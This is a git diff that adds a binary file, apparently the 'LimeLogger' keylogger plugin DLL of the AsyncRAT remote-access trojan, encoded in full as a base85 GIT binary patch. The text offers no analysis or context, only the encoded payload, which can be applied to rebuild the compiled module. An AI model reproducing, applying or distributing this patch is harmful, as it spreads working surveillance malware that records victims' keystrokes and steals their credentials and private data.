b/AsyncRAT-C#/Plugin/LimeLogger.dll new file mode 100644 index 0000000000000000000000000000000000000000..cc17afbd69d2d5beca88948daf803952b973fc91 GIT binary patch literal 23552 zcmeHvdwkqgweR{p<~Q$2W|}5xnl{ry!Zc|^(zK<;LYr6HXdh{lwiF8KB>5$oW-`Ap zGie)YVWwI9Ek?6~|UGKk2;^U_O1pF_%@%>rK;%pyBd_dtX` z<9~eF=d|sQFY6ym<>HfBXEd9fhz}(*87ChfwBy;SOgxo|ckSwnPdLMNb2uD0-&Nh) zO|)GzsQCxG{#T*4r)haSsI?IFgJUV~zAVx>o>@FZ<$~+VZf3Ck@_7gleEt};`OPfK z|L0SeWEMUq^zLG07H#H^IP-HGQ3$+4R}-y2Gw+q?IFYX;-v@eI3EiBxkL5uR?*Txb zwAHm6lzif-wmF;24uKNeW`S@+_u(n|Y({o-)=oPRWLxPrJgn<-JSCsaL>(ohpzFC` z@nPF^@=$s+(Z8eXHD>-_d{)n(q^UaO>XtoN9muU)5zHpZCVp>K|FoBG&TCI--B24wF`(ZRnz?eq-tet}_6n z>HwP)v3$DsaHr`kxh3XgSPu^NztuGxyQl;0Gb6Tm_ zRU>WOS*>KMSf)~BSjpm|lBIg0mYdX^TY_Yk`>k=GzVHOR&{SEvaRN4)jjz>@bE+Tb zEN3Yfdb_Tus>_tTWGOMH4gxQljmuqKP%0Hc8;mz~^8|dzge}LJWOY{K&Jv>Da5kKS zx9l9e)y!L`A7_PzG7M^&5+fQ%P$wp^31c~N;;`(57Z}D-r#6fMS`@7eG%eJR2f?;P z2M@hvRb3Xa6jyYu{;^BI4mcB+M_2N6i00ZM58)F5&;>=yA!aqwV#skAK~tj(0}F$O z*bs7cod=@nWBXI3M!mf4KQ0w}S=%dL*2sTt+@l-U!@so? z2;-){SVlmYa9fvItC;MI+!lBZ#(~E%VAUMx21ytXiNp(#j^SC0XA7SFc$!A^6V|9wRp z3+9Qv0EN0rY=q?n?j2&|ni7WC2yRhAYy`K&#y7!;bMzzkAEuow)x2C|x)NGTm*8pI zQQD7iw1WOTI!H^bpJ#|kg;uaN=>k!-B;AOZpgxTqh+aG%dR*Xr0Wosiwrh67}F9LgC`4;j?FDAk zT-X}1B#cGfW%qO?(wP_uORrFlQl?$jZzMgbPO6_O%=u1Qf!3KS( z;tGbS&R^j2$cu7}=F$R_{X;PqW84rOD2P7Fb)hQ)mQiWAJ!(}RcDljCn4pApDqyX& zEVXiR3|4EGMYYShiPd8d|UJX{S zv*LflnwnirYDrX?qN!YII<54tQTjG6z0`_-flF5^`anoGeC$3JM^y__PqS3aioe8C zX!YpfLOUJ;r_HM;(910NFq6S7qQqowE1G|e75^f$e0n9vUlw^p(NzWdOH9XAZ-sm^ zg?Od)smY^zWx}A`qb#>UZ5vsj+MQjp=L~u)6WdVVD=BzP6sWx^E2ueBLC>ow_%akU zms|0#aO$(-UuA{CEFx~Pv0r0W!^_p7!^+p95?*<@E50t$ON(t@dYVNn{W_M$V#3nj zVCkY;mH5)*oN>X+^$e@wt|_|SH%0uFY}{Td{;gLvat9l^Tp7t5khU!^XA4Z(3E|Lb zUJ5^dIq&3sO52u~Gxh&e+YeYduFRZ!`N9-I0Bu7(t#C@t120doMSpDE=K5uYaXE zgZUUx;R)v(Qx5gvV*E$2#~uiAety9Y78U}_TdDYkg*#NbCioEF3u{8ly7@KX*D$Db zPu7hEf)7;k+=BErJj`2)hj(QNta9iYK{}1+EqK;{6u?Me#jqN2VvxoELe!T)5G``l zRv5Ewo`W5wmcVqK=WJpQ!p1yDwoB;4d5&!ExLcXUhdV1#s#Uff95b-vG7@!e8W(Y8 zA`V%w&cY$uP)h_DtVS5J!hum=U`YJJSQvyo8Xp9)U#SdQ*q`-csPyCL9CKAn$1xb| zw3#bMxf9Gg74Tw3PV9!zQ%VX$;EsVw=O@${ELDdJKCw%2l(cXsklTY|Cz#`2B=8;% zyAdkmwOQ@dbgR-(A=gUiThKgz(QXa#K6$nS6{4>wa|v&f^FS zUdtkBOM&g17nnaIbK8mnrRPk{*OD_bH>@aDa?UJ~!Wh6PIaI6uejCcfq`$FI!`{hT zFp4({A>AjodY>#{O??o6**LgAS}IUt6gDiyI&g4*tW<2?s8T6?ewWyISeJELs)f7z z;U|?#mAx~1{A*BF$bxsPn*t0V1|ZOwF;<3j+3<)+qb{2vh0FM0s)#@8@oyFM7>Pa< z<(;Lcq$cF@crMX^;A2!C-t=}(>)vn}+e+g}rPGkEI^0sB%Vxo~Yd#a*bhu@)9)BD~ z-ORBBVh#JI7;G%ea6a!4-27Amv5h@a^7S}}UpFgZl^AHmkuiI?rREhyW?y|VLm{D??cCs@<;Ae>l3){3OIWK8tN1K7)MNC ze18dk8RG{O|8gXWD*$o_8M_j|xeA~`PAD9~tjfAFXMp*K0OSr9(UcFo(OeRo#2|pW z^9@*h3mpiEEkR4R_&)#11*SJC9RoR z?2?k!%peFzuB0_HOI%XYni;G$)8>xBSXkM6PtO=ZMs5^f77L15 zT~(XI00!#g^c8qSY92idln2mCU@&Eouz2QJ&Nwov5*P}VQ}M z$YlZJw_J=D7cEn;IS2BbygV`za0k~4_#4&)hBv055M5y9P(D!M906=dpc&RFqu~@` zCbnaY3!lRn1AYuJu(oNdXSm}G=O{`+RPK0ToqQ@)zrZ1_`c+0llP7TuQY2ki?Mwrg z8c6!ZmDmif2)Oh$1u32j1vM;m%HMFxN*o9F6xXZaa*J^H8$O>5wu>l1%U@f-i3SD~ zu0v{YP`$}wpE?f73e24Zrj)fZBvm`Fht^f)uK92g>&N?9ArGJKoIobl(@R${i;a?A z#9j_&$c$CHx|+kApGI9G;mjbbu(LeKMYx=^8Ql3{0zlk{XtATUh110qtv$zVcW4-GyFA zUnOLvH%?WbR)5K^Py9%Hy`0u>qX_$vj@!kZ`_$g=W)*m{UoOOu>~|U40IM8qa;*en zhlPk)c$EZIfmw-WYHhe4?cmQ@YJOT!Q=k1~QMXrfb=POB808Q*Q;*4ZMujsMfR{j| zv1Sv%W>x{zuc~U8K>_nc>sn;wW?@PFEa&9rfF|C^06Bq1?q4_sRdWBn2^=gMZ$=WF zSpjL?>%4_U5j+qr5OA!}sS0e9z3Sp>{tAnaE2N>pI)$m`0@YtSrdd;~!nvL>CSMim z(JMFo5<_gnWtzT~D|j2ghVOuBCawb-sH;dEMQyUz8mN5Hh~EbNibb=S&8rs1Z$F&_ zp(d>=XeAuB(tBv7-{%~Hs!)^H=foMY>Lyp8XT?z;wJgqJb2DjOkG|8g%YY`{&LZp4 z1GsJU#5^xna+ZW>zIs;~UP$XV=PFJkY-pBdupML4EGaZ!OQa8*5)+TEKZay1kZiG?5 zD2g{{r>`&aW&wT@0H5dI;ubF*299RC@2SOW)Fqae7ZhuiU;1!?=TtZD{jeffp#+vP zD`qCJmRSibG*(#md9B5j{sh(&t3kcLMu7?}aQXr(W|a(gW7Gqq`0UM}zCN{X@Vm=R zpcnBx5$z<}8?3}TVJ+_DZ$c9CB~Bt)>GeAA5^@%*OkWs_RrY>#Quq}48;iQvtRX-8 zM*D}vE?70oa~r`E+XX9kf*J5YQ@Tnfc3pUurzBocWA<9JJiCjr=8H|8IlpSQPp_oMpgYpeAPeJzA=UPO z;Uk;;Ks!xnu+;2x_tTt**(dW){H-WRk;^D_Jw!LJj1ufUAJlfoadhM?h5 z!T-*>)@RXmWxoknbi|j6TC_RD@IOPJidbmc3C*IVQug=8ry{#(h1B)sKri?`9xio* z;13I|3^L~;>y6<6{e4+kS%5wkcz4XA`$M)bfD4@aQ18Q@`;fae$nePs=l%h;2gqC2 z%N(;e9HA9uA4Kgx5N&^yT5j{R=0BF(uy#;5*NC;>^fG_BxtpCKqJa{ zmC5i5fv-2&{(mwU{yxI+qaKFKMZ+Tz?%`OB<(G>5DzT(J%(d?;Xa3Iv3=jCZ)Qdre z7lhilErGUJfO=!x_FFs*-ze~w0OOzczZeU#3%wT+>Zu=sX4sxILgt^|y}$sT!vD(YrbwIrk|I?WWJ<@J;JjZ)nKFSf z^=3a)=o8Z5R!2N-{t5VK2XvLwanVxaQg3#tEi{Kf@@Qy(@Di%Q3scszKd7kPk{8jL zs^|Fzoi9PxCDcSG$N+T*KeUpmW#u#t>Jm_Mv;f#Wki3tY=}owC`L^*ch;Inq4ERLw z!$tfHq1%CXdF}vQF7P|vPXJGQ?gktz=Ui1P9J|-BtTFAw#=hAXf_DR66JQt%35+pZ z?q~Qh;Y<_bt3=W%WBdw}VGlI#n@vMLN^6We0GApc1~iOM1O8I~N5Cia&jWr~{{mp2 z{zbq!{V}7JM)gkse?b2#;14{H8|$b^yTjN$+YPH)=>hFY@Ef$Hz}JHlrJKz=j5h77 z^gkf^d-|bKi4Htv^v2OK_y)kQ!|Qa7u5_u0|EGpdX_xw?@27@ApK_^c21`9@m}Xr>*SXoB z;k)zzy|bA2TO&Ys2=$Errt%uZuFok-YmY7k^&^+MA6^`!pB2mf*$C2~6-CQ*%M6ou zIotUbP(e_Oi&WH%(1k^+$}FQ!MfsizEHTSzw@VHA)9|0Ggqov`o^nvfT&gyN*-W1+ zP^d3PPrFo??>tbw=c(GK%7W$sIx5s0z1FbI3VN?gT_Mz`UCBd2J?Q3zLkUP8JD;`8 z(YK=sb0O7W733D(9vasw=|Y#vQ?pq`T`o07ZDuw7(xu)Ls@AIM`UX{QpzI>#)ne&n zE$bs2^=e$!DQZ>Z0eunu*rk@~uQ3r(s7c5^x1?NW!!wwUM9 zLoQ{&>hmdtRg}vOV!Z09#ic$KNSF=u(1j}RC*cS53vlvR)Ekg@0adpO<@+XTPf*;Y ze&j0$wZf&2q0d%Ot4qBFeZ7J%cB!rCLF^A)st=Ym(sq~9Vy`os=x<%>Do-z{zZ2>i z%^O~h$aTNUlNr!N-w^6%`lN3!B!63^4w|cQvCVdJ-k{k`{I&tDm2xd~kDE6hNSQ74 zpiABFbIewnY*Xc~iXAcA$XuhSjb$_DTB>uYcJs~VMYPGK76-34H_$Z5m?uc7N* zYCQA-^Ah^(+WFcy(L+MrOv|+AwN12UovLBC-_SSF4T|zDi9WAwruVp1L-clYGu`S^ z!RWJEJAKrpDx#Z=cDmc8>dQZ7cF^CuR9pGopdJwFq|aY|pV>(dyHr*AKY;qGOYIFk zXm-&PE_EpMFsSdlRD?u#u4SvnDlPX@L`ZH%dZ0@4lggQyT2tA_p(qlp?FW61rRCy9V zchggDxt|8_(sxsSqpEK~z~@1pOMTKG@$8`r-l)?_S{+^J*-N*&)SUUewvRJ#fIJz$ zJ6hwJr`{Jm&vSV(@4;xobFfIYnk}9~Me1mDttVNezOHR3Qa8uzt<9dHVxHgX_6!%P z3!|^|j1;MNM0-7>MXEY>r6)uGq3o2_PD-93^WmUgpdQnHWej<;Zr)?szZ!=>hY!&Y;x3 z69+b(euZ8&XgBOP>0g9@KKL44B>L4DeO_bEod(N)7nT_GO|j?0;Aj*Au2Tmz81x2k zOnL~N3CF-kBOEm8uMjqEH1l1XV@TPdI$6yRAcFJ zllsxm9@-9wlLajI(gvyPUa|9?;w?A9Gj)2C*m<`7XL3w>4z2bOm(oZtH>d~HUhK%$ zgf;AGct5rXFhDB+%c)i127&DYdj#$lctBtha3Q4xzgpl)x)-~(lXM8Xw3GCG?9Of% z{+-l-weK0=7NxY#$OV8A|0=ppIMdqNvW>ux867xTJ&IL%4l;cL4}im^<^+c5slW(M z9^WiaW4Hf&2=SMA7Z$?)ZW^#5d;{*P?=Alja!0X4sSr!9(?0FNS&_c#y;pR826(IW zfZ$)G+qD6D9P&nR8@*rqyyr>bd{5w00-ph#rC-oVAxyB^kq8NzD)m_ zw_0+2`n0yf9|8OZ`hNv-c}$zNI=xkYjlW*MT6@&DQokK`wgP_0hf@aZ->5$e8#(|z zK8>EG-+LMUP1!DeH#F?k4*(w2e+QXC$b7y$4ZOWPt4|AmPHLIchodw4pCI!leK&L- z)bA(1exvTkSlR^p{?|6quce$&?e(fjL2QO55Fzh zVfbhx?E&0O`vJS?AmBDi0&b@fz+M^$?59b<%V-MlAYB7^2+_z#!jd@*yh7j*zJ=3_uL3W?h4?$@3hP?< z(jMaxf$aw4Nr7_$Zx{Hmz-I(%Cd(`n*e) z@Q}b+fwu{KNZ``~DJ1d&Hw!!@@UwKI@l`zErJHbmN1(<1SsQwElJfKhdKE={*{r5{Q!a|rOIazd7lov z5pdN1Hb9U6dceO8-2^yM_8!3U*e!sAo(};wMn3{r9sL;KMdfz^E-t?pa5(fCzzx3p z0d4J{0JrL21iV#y4A2OC&BN~q4Ai|4wd=So^8&7i4Y-W})ahc3w}$Zy0^bN(4fh^l z;FqGMd$|0%to7 zzP1GTmH1hJMppsqG=TG&2Jc%2JP8leX%HtbjfMcRc0t~tT1Xl=4K9Q2v*2$JYzhqE z6jQ5h(SAyIM>X1_{hZz>=`ZL(NuQ-wlb6C@(NWNwwdd&Tnnqsj->BYV`gi0u zA@WK41HD7iKT>rJc4EWVMCL57Y^9%1VztL2T>NwylOk|B?>AUk&y@Qh)?B__4dN|Z z5Pb?oL>n*NFfh(;m$fNZt%?Kzj(SAvT^5V)3E*&2j z=tvHY&4m(}ZJ&rx8TlRKMR=&c>e$(6OS5W)pBqw8VM4GVkV@P^( zJEzj=UD^F(m_L1!$swDLjCbOVP}(rX`6bwQn^VdCwRZpQwv6GnWM&w- za33{!Tv}#(9|jtE{f>*s40rJ^n~m9$btc$c>PsH6JErq?uHO+F`r6_9M{L)3Q+Wt= zPGz$gsfD)}u+?;wSubRIQVGoGC5OgRnR(g0IXkN) zoue+s6}j3a2d$Je!}_}rMf%ZKQqfNP=yoU*d>_wz4pb@z2(}|P+KcHSI5g&+Atx=w z6ud`}K4)m$miR{8O?_j@EV?D_I zOt9R1exXVX?eNr4{_KoSXL3558XY@l*2H8oGd*9%or7E_>KRO>Q~A1!xTch4U z%Ra(CNGxp zQJDj9_-#picMw_qj$lwBX>T$=Mi{X%>AdZBW)vujA+C?_8azyCY_T|X@VMb%ehnVz zOs3O=kfin;HULFx8@3@uVvjxHuAyBPJ1kMWIIKn=+sO$P=@h!t&hs31Gq8BO*!*hZGB7utEaH?XNFydf z&ry|dD|@gTqg|6&@AB{{yYtI60D0QFsgs6Zi~!(^J?^$8F+c^U@3V)dV8wKE z`&51mE8ZE|d+ZT+XLx3upWide81_0jOjhW{YOav(V?(w?Gs46owVd>gP35sa%+TJ< zc!tw1?0)T@%!osm+gV4o7%LF%Z;7PQYV%k+R?SPGdn$*cX(Mz4cUlnM^eLf zmeBF&*N!Q42B;k33KH&k6(34Mh0=~Ky$!Drk@j4HQd6}+VG7M>iLVrL=G}_Kvk8rW zvTb%6Bg}^l?5eVGsytvvDvywlHIRwUF?(oSEr}4rej2>OMkw!~8EV@;->bRiLN*pH z?8@`*u8D=4hZK}#hl4N)CQR(j7Zr7-lA{^y5>rFDg6=|m>X(+KOODo8`WiD4~kryeAFh zgP(BttS1~nprf!$-kzLxre3vOJDel-PX04Pu4nZ#euO;_BX5spVcD?qa1LLY6fcL} z#}J_T#=&)cUX8(n1D(#`b)9v)`EV-x80}9X;K`8_A*rx|Q?$FyP(;6@Qtq<$oWisA zNCCwvun(FrYtddh$~YtAc-)qpGXfE=3*b<>Ey;;gdRonpj#MU@oksIqglkkfx>8v< zHQv-A>2pXEEQgcyYLjO9>u*PEnx06ZHJCg z{NwUe)(L6?|B{dz2F>*(MKiaJJU!?UGH};z;HL$_KD3hcb4`1sjw#4yKy|}Hwt{=Fk{^jNJcEL0k+RWkPQe7TMJ`5 zv{(gX77*9sGrXG5^ePs3VJ`|q7Df+%6RYsWiO~gQDGsV$zy|6Ouh;ajZng~dq5{hs zH;}m1vCe3(T0HQnZI)Ye45( z0Ae=s^+-5wYLV#dGtt?fM`xc!^**lN8`p&!^jh46C6S2Fhl_MAHv5O@?4K<3TV#pB zEl!!RJ;0c4k?uuVB&-5SNF`yF_*D{AiKUVN5}((IrIw&0JYGFkp`)NyTdu=6trmKP zEm9`S_+UJbhw84NfuDeSc&L29A|Cwma?USwEy_oDXk*<0Ph5xj0WXRdhL~crpXFA7 zg$6{p|9mJ82A4q+!Z<|dmPF^4Md#|FK#SlHCZPROIuo_ke&oll)MIn2Jn*Es)*yFd zY;J9IZUamB&|Tof<}RuA`NDBeZ1yC#AvSwwEvnUHvu{R%3c6voW_lqH8rdh|91!%H zwHTo#9&cRNebKocEF7D?$B&+xeQ#{`{ngyk+4pkQv+oaiy*@nxZ;j4=h@GVxzN+ih zjQXlAG9tCLwakg&YpX^CAKj`Bd%fHh{%Sv$LVbRyV*yn2ULQ(oKHooHb8z3HHBVn> zB1V#_G0+*nWHOm)!U{6^eUXW8Yv5by4EV*5$*%}Zd-KP=Fzy`bEz>If8a8~xSgoM~}G;eL4&09x!ri$SG; z;E%YVg&W_gGu+sbAPO&L($We2{O4a|d^J z9?UsY*uWpm+BkS0RHuHvu{wy&Qd;gmN}1T)AH;>B%>wgB+2+aNL0XB$zVO+?c)UQJ zo)-RAq~Z>AI@zvtns3C_nFr`|zH80FZZeefWOVF6{9JknY4E!P_Nr|78B#i|Q>i z*T5f@s$Cl|4{F{>mJ7N>Y9DroS?Eb&PT_45cA6vD_3`I?DbtvvTfVRvjpD^6*y=H(@MydTbBSG^PI z1n+&_Pou~b>gz%d?~mCI{ys&io!sX>NEc-HK^8Y%B{Hq}Jw{9MA^E<7CcVLXe%^m4 z(f)Z0wxcZDQo7S`#%?~1fBb0>+qOeuR7!FyC(#DBZj{DgpZcga%*(0X9!5DnFJy7b zDD(*b!NW3W-R0`wGY8vLXcJSacV5jl)wjLSAh77X*x{&xkE=2#2 z3;$dP5`gtuXCSw2s~!jdumS}Du>PtJy}gB1c|5=M5+P>LSpC+Ej%%_sHKYY+@Hcq2 zpp&YP6S>EA;VAJTp()>kOqG(f8@_qTzX((#vx}!GD=p!y-FA3zdoi)UJO_7Su$q4~ z-eG&l;Z)f-(bFoIVqscTGfWkuq+=k~T{PV0sX2ZimnIa@Jv(uk`t*zlu3<<6`!o8J zFC;lC5j4Z&H=KHhAc25P)wm*#4!nFR#7NuzLz>SxBd)RrN?-2>!jcC$oYFziKsyLnaAGtLt(Lltnc`6T< zXgrOi9fm}Hb-yn@fm_Q@%DnAlcDNx&a0)mFmCYyA~`tas+wE^gVkt=X&iLx=)Z0eB zQdN!%Va64gXU#}I4;7Lj(rH0-+(#ak=-wjbp7eT5w*r79`@o5#Z`rO!)OhFysovRM zq={?#$+uP$koKi2jx*}H2Pw}`uq0n+)Lw?4@&q@{uf}KP9-Ymn0VplJQ2SCm&M6zO zLt8k!1y-I8=rhd%MB$G)FHZ5X+c3x^Emat|&zk#@LU}afylHtz>*-z9P>Wg0_J@EE zQ&Td6+V<5+*wPFsXxacgQ&-&8HYYzjkmine1L=>f11D)N`VnjThb(Dgq~4fiQ!E;o zV@gEc1ao z_L*15cr{nsOVWGnWfo`S9hG3*GaW|SEgRsPvd^R#YgnMnsOI--1NkQ!`@!>-na=}U zV~RYj-rh+aM}8ev5CqWea92FQzmEX`ppazd55@%hFUP<~d*grE7D&L%YdsB}Zm?Nk z0H6gL0HFBWdIGKvhW3iq))w}!V`xTs#A=EUu|sr_tIW<$(TqYGn>bbE0D(?ydsPz~#2u7F9=LIb$w~zB%Ngq>M{GbYxs05YiE;Luoe`xVmHwsrz z_`}s3RvE(%-{UfYr@+CX%UT-SMU2RqI@Ta(egxMy(T&!htvTjJ5kWwK?Sq4F zx}LTBNyK!VDY|n8SKVm>kJN@zOD(K}_KYOsB83sMh*#%#&zb&XirPHgEx1N+tByfB z1iW`S#~?yAkR*T$q~pW<#K<%d++8R;Sx7GwaOkV z)XRb^xl-&B@}pd(h7ipXoQ6sVNUJ}!d)-Q3xT?DY3r&l=(z`md-ACrxhIc6l7!W?V z#A>^=a{K8{tBn&_1xZX028qgfU@?jbm7Txp$Lc(44h-4| zVNyj)*Z}$3fmm-fr05a=_SghFkzxsq3V#$>(-a*aP6&jftgvwMF{q(DN_28H>MpOE zhbN=N(4?W&SgN`|V6HUm!y0)?A(^-`f_|h%G;bb_psz?Z1h0oUaL#uwt6V|^^DM-Nd>(n4#+$!#Z2LP^J007Frof@yxN>*3j zT-eId@^x+;v1g*3iddDpXzVg7iH? z*#f~*@X!38fp`SS*V*}b7DcOwXpv;GEnKVNq8CCxFXz^@J>SFNoi1}ULy<7=8#9!H ztT_%a+IcXPQPyOlM1zhpYH#gvMt&uSsh>w@7b(MUriA`mvF?WmJW zTM6g@?iXirDjDq!<%)7pSOPTawWSs^MCYXTr zjAqiVPDSeSu7U?@tmy2~=uDR3x5At2Uc$)$`~d4qEl#pB3!_4IDOvY)biYnx|}2k0hDTY(tI-0JYn z6r_s?K)mlMdInVvU?@CfGQMm^e!u=)_)Z@|PDVL0qT5@% z?Q%~5f!A49?F>>T?!cT65iA+m4zJ*+%2%7Y>q@aRb#(DHgmM7Z&y<-%%>y5&w}MU*S!vByvoBzy1$am&{rt8jUxpD4pA~6n z2MJ9FdM^T$P~ShP7ClS4(HureP;uIX;wj#>Ruf>7Pf7W#oqUt&*!6QaH-`d1kvgYT z&smGN^O&mvdsi4XnrV-kk*K4GKZ4Dm9l##o@pT&FYhzGC(^hcFM%HMNg$783F;SjF z@#7sQ%rO-6f5l3p!lAMTLV-U$3J2q7lNkD}#_}1xzL3yc4}l>ff6R#x9c(;Q>VOR4 zU_xaX4~KlcG0H1z!OBFwNx~M zcK-3P5@8bn&g`TQdNy07z}vw>!6#W7u9H)m3-y^(bak8{mcCKWM>ZSR@BqFl=6%RZ zMfGV#Ts1-VID`DA%J+E$xkzozsbsyQa2Drl+4AQ78W$f8E4La5_L83NB!lrReCRxX z9N)_5f>S(_VGn1OD_bGfEhw|hB1l>a>NY!KPLrYB^5my+_|P!NXxEvzYQJ%NOhM@G zCIgN4vvm)U0k{IJyq6isyx`oY&81!Td$Sr`kfEQy0a>DEXb*A1rH3vE)Q63r9Wcj^ z>9B2VK*{bQYXw}D1VJL?So1oPFH-i}Q|6N}HyB&N;VcOkDO##jtBHTDV|FrRQ?`#l z6W1NKti$~BFf8IY$L4rT?ih@&WGJJzvh7+URKvVOs@7|&+0bWCE3n-grcGi1DU1=e z(xaktmAY^H?(7APwIT$F{f9yX10yXt$xz+OM-sc=xA|$p3iQK7vYXd0oGRKd0DB@ z=}lYia)-iVo*kd}@%x&nX-Z~fV|CMGxJ|qP++=~l(j0U&Nh_ALa~EKPIwI(d5R}=G zmc?aU4hHIudfLbnkFqC+rb@i(cd1{*+CS}^4?m+S8s#U5bMKoZ-3_A0dzkLWIsBmC zj!^68zVRn=H5bKL=zXSI=70aSk=ENFBhwC2c!_~Stnx>Kun5y*Yfpi$pFDe>iFWVw(s6D1&g(@c|g)zaK}^>4(OFF8rXDGN2P zkO*mG(~~G#h1^`JMkTq7!SJn_f{O%#pbIz@XzxA0SILp?^*ntKKlMLXq~H!1(#-;F%6&%1hf&>QyiCC`=LCI1V z0@w5LSwA98p`U0PnSGWhYQ(GxE9~Ax-v&EYS!9(cM{>B|_rt(&^F&q{D8h4U!hM+3 z(>l2{WN6;Tl@-hSU6S@aQ zBGgC_iFo99aA`RU`rGp*;sY8GPFn8%b1^H;5>HH7+>1Fy6GcRD~5|#6i&6eLEKn(u&+Dz8j#K5 z#VO=AN_2~r_AM_<4Ny{KxZh&ok*wKOcN`;G7V)GkOS-KPSZyV=CX!8)9+Qi83J`N{ z7IW_Zl8bmz(kdoLEUiP6jFP|V z5@LU9%acOU)ct4ttb@$40|2r zoQSh~>#z|FliW=VP^>0`4+I*@Cniz_Zlv7;Wtoks#Yi;A*0L_{#^zNU)W}1`T1NHW|&N3h>F^H0m&@I2bh*~emVITn`He@1+AP2W+TI zq=v}o6TTGM%EuS-p)$s=)>v7*+n~z|%S*x$*wc6bi;4-2;13yicdauY-F#2yzGB_1 zzgX3->S&h)>T|m5S~#kxUP6xQ=Uj%?eWokD>FtLUUZ%IQRAVlb-QGudC5;d z7_<)?^`P@nfRK;F$ z2mfOW!`34erKYcLC>;eA%Zeb$uC*2`Y|aAdjYAY(L*~~%}=tFe^ia%n6Ne$rFl9&`hM5AP}iHuVP-62kti4Tz3DuEU>7z% z>j$Y|LCwre9CX>-L9|4wtvI|YxJ?a1R4K~OYN>aFN%S9t9+b=c1`S1q4cOeM7|m&p z!RVQH;#Q$)B1ck!ze{Z@&Q@Y>+!eDEWk!K>-W~?RsL^u^yFG zVPL`02S=fWU6!&K5Sa%ChoDLiPCXQK_nJfQ>kv#t|3G zjqjnl$COJw(j0v_W6|~Ti#)%n*S&zXeR-JYSJs=_sa(-{^f*GfG`WB^U8!)wj_2t7 zV3nP%HVt^54PjtX{#>>qF-_WZ(j2_E^h&x#A^?;iyXAL6@wX@S^M}ll~H`h^Ty@X{f z(mEA}VzclP(|#l=kbWtKEP2W#NBrisD-SeB;I%aY?=_hUU$8ZInrf|2s(ZH1JjE#z z|1=)bH!IXw5Jr!5Z~~q7Jh>iis~9o`e6QPW$Fk4RUicwP?6yCF>{?rHLn>kIN8+-A zXV3YK_8+&wcWe%@o3Gp7##ayH|7jbn=xSs5x(zlQ)sg^Zf`vG{6*wIS`CgTGSQ>)h zl?_<|$>r{&`c1VkKFSgT&p>9!U-SaHuuNxuM8gYe;AQvFT`EewHdVgwS(9c#d9KU7 zZUIbU1`k=p*jWW1xBXb%pTKqO6G=CW;0)gZa&$fM9uu6-1g*lCnIh#NbIh#vT5!{& z@DIMnsivLBRYy-VshrTK2K2*6>)HgOr=QLEB{5au12y{~QI=w>l%mq3Z0XN3nHw5@4J>UJ@Qu5jq+++8ik;K+knHE=n8K;f5t=RHEB`jFBD}O6 zr$eHsKP%{xw`{jB+6-#I6HNtnO4+*kmY}l;mvudRbN?6IWgG@Gbmssqou)Mf>W|p{jg%lCyj9nKCIG(sY zw_PMS!vaDKVc4J3C3;6rmiEnIkA~%-)eTa!%b?8DWS&3FEeV{nOvK3rX+f9MP9p%eS1w(kt-&EezgByRQ1ytgAo#S(L2Ap$2^@Una@D7R83hZ8)Y^5>=1%H)kT5$bnAnI zmZjXP`AvxO1o|j#jH888Ty7O-vfoTfJ#QS^id}9anFo}U4j%O@-|acEP+c03L2|1S zs^_Q>)0OJe<5z}mH@Mxb=~h+~x0JT%XTpbx9L+)8P?RwZ0?c!rf)O`2V?YwxSSCi@ zht@Kc^>skpx;=`8mP*|FGe($Mx>CffFW6-c&D$;Encdle1`nV07{+eO>)A+Q5?hAp z>yI0L^f*TjKL#nhUju7)J2a75;ILu0!b=<0(A2));F5@}nLS@ygS2E;!dN7+3zED@Cb%!gfZQ{)Rqg$FUJ)Ww@{h4#pQ!xn&E{QG3R=<=taM?z_e7u5 z*gWQtZhpduuy`_!YXp~c)htln21v_(JUFEOj#LMm)w=35H&?O!sNd2l&cOsJ4oVLj zi`t~S_o?%qB?Qu?C##BT9CGI!x{o1b{GJj1UN&B%|B@}&_cRY?hfOl;EPx2TJrM5< z-@xsAPf;x&qYiuZV>`5MA=$tV%oRSg%8kO@FSw0j*}5w7Ci97;N%nE-%{6nj8a#@~ zS|=r9?S{(o)}ODZRdlH4^h0u^HySo`R-u)2;!m?=#KkWBRrt2>Wjn&!Z(^8J9+5Kc z3_z!i4Fm)<<=i*}V}@hWTab1~=*|o`iY{fVr~&>&sr#-zOeVPNvzD}XUp7g3JQ2$F@>Fki2=R7kd`!vB?8s{pC63b%CQ@kO)E@LB1c z26lK56@+VvF=<<+i}!lvjMyG+SSe+h=jsDSJoEt99<}Am_QzFznSr0Yo3|IFr=8Ec z8w|P^NkykT3^rO!e+CO1x2p(5R(=-G_E1(>@)=Gx&K)=32A{P7{tyt)h zFX1}Z0Fx{))>sq6+d^28rG$*o#YkaTn`s+zXEWaUJ* z1vxI^?pAqMLw(XEE{|bNdaFQ3sGQ=sdFR`Wdt)THYL-}vgp?5L1;XMB(IZ&L&D8oNGh(4HUx2LQBi{w|*Rk8t^~SQO?`6f)D* zN{{#6hQI%Y&zumu3A(Byik#-Gq#m0QCcG?O;k=WR@Cw6am&^qQcZO4nF1_q@3I~x? z5l>^L`{U(fwAi?f#DiXo_kA2bLb5S?=(Yczy)7)X4?r!!MA`G9G~&_(FEzL>IRS>4`d89hzcn+pBsF4r{BH zE2qH84!Psmd{3afL*2^}{_K6BPu)1!Q47sB1n+ods4~Xi+f35yw4MX|X?38w*(1V? zK`=w+Qo%83Ke*i^cNrr^0w17!I16Ajck3!M)(N;Wc-jctS6~6XmnbB>4VCrAP=aJh zFz9R|t7`yye~z)@BcK}DyN`8XA4u+()8jcdV?r@JA>ZAqFd0gYvYx~N1XBbqIL@FG zIurbUQMv*Xw|&1-0$6U zShW>&>Ra3igKW9cph{BY0>&?li}`N@@B%Mx=!|i6g@%ynk*ZBF$|L=NG6J02%w;;; zxl;F(iI^2@Y7!vhMOx6iNddb$+&hFl`qt9^1>qVHQB)7<=h1K=b~TzlU-C-$!PCWe zY6ξ`)rCJLEi~x**)ZIa7nL!sYu`(3?f98mv}K6E=Eu4I^!Q(^ji2=K>n?xO0&- z+CPO&h&s9`>{X4O*z}ENq)N{jBx2u~kv(V);aNtcK!)*gnih(PO_k(zL~M)DLD=Tpzx-lDW;OoyO*kDFMLAzU$KOo}i5+IO0n^O`6_8Y+2>Ke?($@k%Nl)^*4#qa1^G-I5;LtEr&EUVcY(QX6`@oa~^;SqF3%&PA0O#HQ_ zO$-u3JY&0`-MBcF5WmyynLW^H|+@?XXAn*trw@K1?y%GUb^?-=nl2wRR zI3ERbwzQp|G($y_xp!Hgo%}WX>zl4sSSy>U`L>~#u&-Jj(bdWeCk@M*@{ER-vJx)# zpN*C;vET^J*V~;$%tZ><63n+Zo>T3uEz}Mk(OKl2!;Eke8}JqdzOOKMR$z5;3aT2w 